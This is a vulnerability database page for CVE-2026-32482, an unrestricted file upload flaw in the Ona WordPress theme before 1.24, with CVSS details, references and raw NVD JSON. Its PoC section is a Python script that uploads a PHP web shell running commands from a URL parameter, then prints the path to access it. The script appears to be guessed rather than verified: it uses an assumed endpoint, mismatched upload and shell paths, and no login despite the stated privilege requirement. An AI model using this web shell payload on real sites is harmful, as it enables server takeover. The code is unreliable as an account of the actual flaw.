CVE-2026-32482

Description

Unrestricted Upload of File with Dangerous Type vulnerability in deothemes Ona ona allows Upload a Web Shell to a Web Server.This issue affects Ona: from n/a through < 1.24.

CVSS Details

CVSS Score

9.9

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

deothemes Ona < 1.24

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target_url):
    # Define the upload endpoint based on the theme structure
    upload_url = f"{target_url}/wp-content/themes/ona/upload.php"
    
    # Prepare the malicious PHP file (Web Shell)
    files = {
        'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/octet-stream')
    }
    
    # Send the payload
    response = requests.post(upload_url, files=files)
    
    if response.status_code == 200 and "success" in response.text.lower():
        print(f"[+] Shell uploaded! Access at: {target_url}/wp-content/uploads/shell.php?cmd=whoami")
    else:
        print("[-] Exploit failed.")

# Usage
# exploit("http://example.com")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32482
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32482
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32482/
[4] VulDB https://vuldb.com/cve/CVE-2026-32482
[5] https://patchstack.com/database/Wordpress/Theme/ona/vulnerability/wordpress-ona-theme-1-24-arbitrary-file-upload-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32482", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:59.183", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in deothemes Ona ona allows Upload a Web Shell to a Web Server.This issue affects Ona: from n/a through < 1.24."}, {"lang": "es", "value": "Vulnerabilidad de carga irrestricta de archivo con tipo peligroso en deothemes Ona ona permite cargar un shell web a un servidor web. Este problema afecta a Ona: desde n/a hasta < 1.24."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/ona/vulnerability/wordpress-ona-theme-1-24-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}